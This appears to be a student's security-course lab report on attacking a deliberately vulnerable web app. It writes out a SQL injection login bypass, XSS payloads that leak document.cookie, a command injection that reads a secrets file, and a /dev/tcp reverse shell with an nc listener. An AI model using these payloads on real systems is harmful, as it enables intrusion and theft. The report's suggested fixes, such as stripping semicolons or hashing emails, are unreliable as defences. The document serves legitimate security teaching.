Gede Ria Ghosalya – 1001841

50.020 Security – Lab 4 Report

Part 1. SQL Injection

To login as *alice*, simply put

```
alice@alice.com';--
```

as the username. The password doesn't matter – you can leave it blank.

Whether this approach works depends on the structure of the SQL query upon logging in. Usually its in the form of

```
SELECT * FROM table WHERE email='email' AND password='password';
```

when the specified username is given, the query is interrupted halfway and becomes:

```
SELECT * FROM table WHERE email='email';-- AND password='password';
```

thus the query won't even check for password to log you in as *alice*.

One way to fix this vulnerability is to sanitize the inputs, by removing " ; " character from both the username input. Although this does not remove the "--", the website will still throw an error and prevents attacker from logging in. The only problem that may arise is when the ";" character is actually used in a legitimate user's email (which is very rare, but is allowed in some cases).

Another way to fix this is to have the database save both *email* and *email_hash* – a hashed version of the email. When the discussed query is executed, it should check for *email_hash* instead of *email*, and the inputted value is hashed before being checked with the database. This way, no matter what kind of query injection is being attempted, it will always be hashed and thus converted to hash which does not contain harmful characters. This is also why SQL injection usually doesn't happen on password.

Part 2, Cross-site Scripting

In the second order attack, the following is passed into the "Post" input field.

```
<script> document.write("<img src=/news?text="+document.cookie+">")
</script>
```

This injects a database entry that can expose the contents of *document.cookie* of anyone that loads this news message. Once the admin is logged in and views the news feed, the <img> element will be loaded, thus sending his *document.cookie* to the `/news` for all to see.

In the first order attack, the code gets a little more complicated, because it needs to create an element that dynamically changes its URL. The entry posted is as follows.

```
<a href="#" onclick="expose()"> reddit.com/r/funny <script> function expose() { window.location="/news?text="+document.cookie}</script> </a>
```

This creates a link that says “reddit.com/r/funny”, but actually redirects to the same URL as the second-order XSS script everytime someone clicks on it, thus exposing the contents of their *document.cookie* to the news feed.

The XSS are actually enabled in the HTML templates – strings that are followed by ‘|safe’ is considered safe and are not prevented. Removing all ‘|safe’ in the template fixed the XSS vulnerability.

Part 3. Command Injection

Displaying the contents of the secret file can be done by inputting the following into the “ping a host” input field:

```
localhost && cat secrets
```

This relies on the assumption that the script simply concatenate the input field to the “ping -c 1” string, which means that you can add “&&” followed by another command to execute the extra commands on bash. The command cat secrets itself simply prints out the content of the secrets file.

For the reverse shell there is 2 things that needs to be done. On the attacker’s machine, run:

```
$ nc -l -p 8080 -vvv
```

This will start a very basic TCP server on port 8080.
Next up, on the “Ping a host” input field, we input the following:

```
localhost && echo "exec 5<>/dev/tcp/10.12.72.6/8080; cat <&5 | while read line; do \$line 2>&5 >&5; done" > revshell.sh && chmod +x revshell.sh && bash revshell.sh
```

This will create a "revshell.sh" executable file that will redirect its shell’s input & output to our open port, and then running it on bash. Remember to change "10.12.72.6" in the input to the appropriate ip. The website will hang, and our shell from step 1 will receive a connection. From then, we can access the target's bash by this shell.